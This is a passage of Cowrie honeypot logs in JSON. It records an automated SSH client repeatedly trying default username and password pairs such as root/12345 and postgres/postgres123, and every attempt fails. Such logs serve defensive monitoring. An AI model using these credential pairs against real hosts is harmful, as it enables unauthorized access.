{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:57.654013Z","src_ip":"192.109.200.78","session":"dd50fb48882e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:57.739250Z","src_ip":"192.109.200.78","session":"dd50fb48882e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssword","message":"login attempt [root/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:58.298200Z","src_ip":"192.109.200.78","session":"dd50fb48882e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:29:59.445340Z","src_ip":"192.109.200.78","session":"dd50fb48882e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50832,"dst_ip":"10.17.0.5","dst_port":22,"session":"b20c8773637a","protocol":"ssh","message":"New connection: 192.109.200.78:50832 (10.17.0.5:22) [session: b20c8773637a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:01.817923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:01.899835Z","src_ip":"192.109.200.78","session":"b20c8773637a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:01.936261Z","src_ip":"192.109.200.78","session":"b20c8773637a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:02.545536Z","src_ip":"192.109.200.78","session":"b20c8773637a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:03.639464Z","src_ip":"192.109.200.78","session":"b20c8773637a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50844,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8e49f4791c5","protocol":"ssh","message":"New connection: 192.109.200.78:50844 (10.17.0.5:22) [session: b8e49f4791c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:05.911152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:05.919499Z","src_ip":"192.109.200.78","session":"b8e49f4791c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:06.006849Z","src_ip":"192.109.200.78","session":"b8e49f4791c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:06.257817Z","src_ip":"192.109.200.78","session":"b8e49f4791c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:07.346733Z","src_ip":"192.109.200.78","session":"b8e49f4791c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33064,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eef217ae611","protocol":"ssh","message":"New connection: 192.109.200.78:33064 (10.17.0.5:22) [session: 4eef217ae611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:10.088097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:10.093203Z","src_ip":"192.109.200.78","session":"4eef217ae611","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:10.176769Z","src_ip":"192.109.200.78","session":"4eef217ae611","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:10.425958Z","src_ip":"192.109.200.78","session":"4eef217ae611","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:11.512753Z","src_ip":"192.109.200.78","session":"4eef217ae611","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33070,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcfa48653c1e","protocol":"ssh","message":"New connection: 192.109.200.78:33070 (10.17.0.5:22) [session: fcfa48653c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:14.183295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:14.188048Z","src_ip":"192.109.200.78","session":"fcfa48653c1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:14.271536Z","src_ip":"192.109.200.78","session":"fcfa48653c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:14.535713Z","src_ip":"192.109.200.78","session":"fcfa48653c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:15.623224Z","src_ip":"192.109.200.78","session":"fcfa48653c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.245319843292236,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:17.841079Z","src_ip":"5.42.229.203","session":"86372d607dc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49844,"dst_ip":"10.17.0.5","dst_port":22,"session":"509e6733c69b","protocol":"ssh","message":"New connection: 192.109.200.78:49844 (10.17.0.5:22) [session: 509e6733c69b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:18.402518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:18.409974Z","src_ip":"192.109.200.78","session":"509e6733c69b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:18.493133Z","src_ip":"192.109.200.78","session":"509e6733c69b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:19.066898Z","src_ip":"192.109.200.78","session":"509e6733c69b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:20.199961Z","src_ip":"192.109.200.78","session":"509e6733c69b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49856,"dst_ip":"10.17.0.5","dst_port":22,"session":"4717778ab575","protocol":"ssh","message":"New connection: 192.109.200.78:49856 (10.17.0.5:22) [session: 4717778ab575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:22.465416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:22.599586Z","src_ip":"192.109.200.78","session":"4717778ab575","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:22.606206Z","src_ip":"192.109.200.78","session":"4717778ab575","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:22.983275Z","src_ip":"192.109.200.78","session":"4717778ab575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:24.069753Z","src_ip":"192.109.200.78","session":"4717778ab575","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49868,"dst_ip":"10.17.0.5","dst_port":22,"session":"301436a3d805","protocol":"ssh","message":"New connection: 192.109.200.78:49868 (10.17.0.5:22) [session: 301436a3d805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:26.704901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:26.710073Z","src_ip":"192.109.200.78","session":"301436a3d805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:26.795120Z","src_ip":"192.109.200.78","session":"301436a3d805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:27.048931Z","src_ip":"192.109.200.78","session":"301436a3d805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:28.136097Z","src_ip":"192.109.200.78","session":"301436a3d805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44750,"dst_ip":"10.17.0.5","dst_port":22,"session":"b64d0da20eb1","protocol":"ssh","message":"New connection: 192.109.200.78:44750 (10.17.0.5:22) [session: b64d0da20eb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:31.090689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:30:31.095656Z","src_ip":"192.109.200.78","session":"b64d0da20eb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa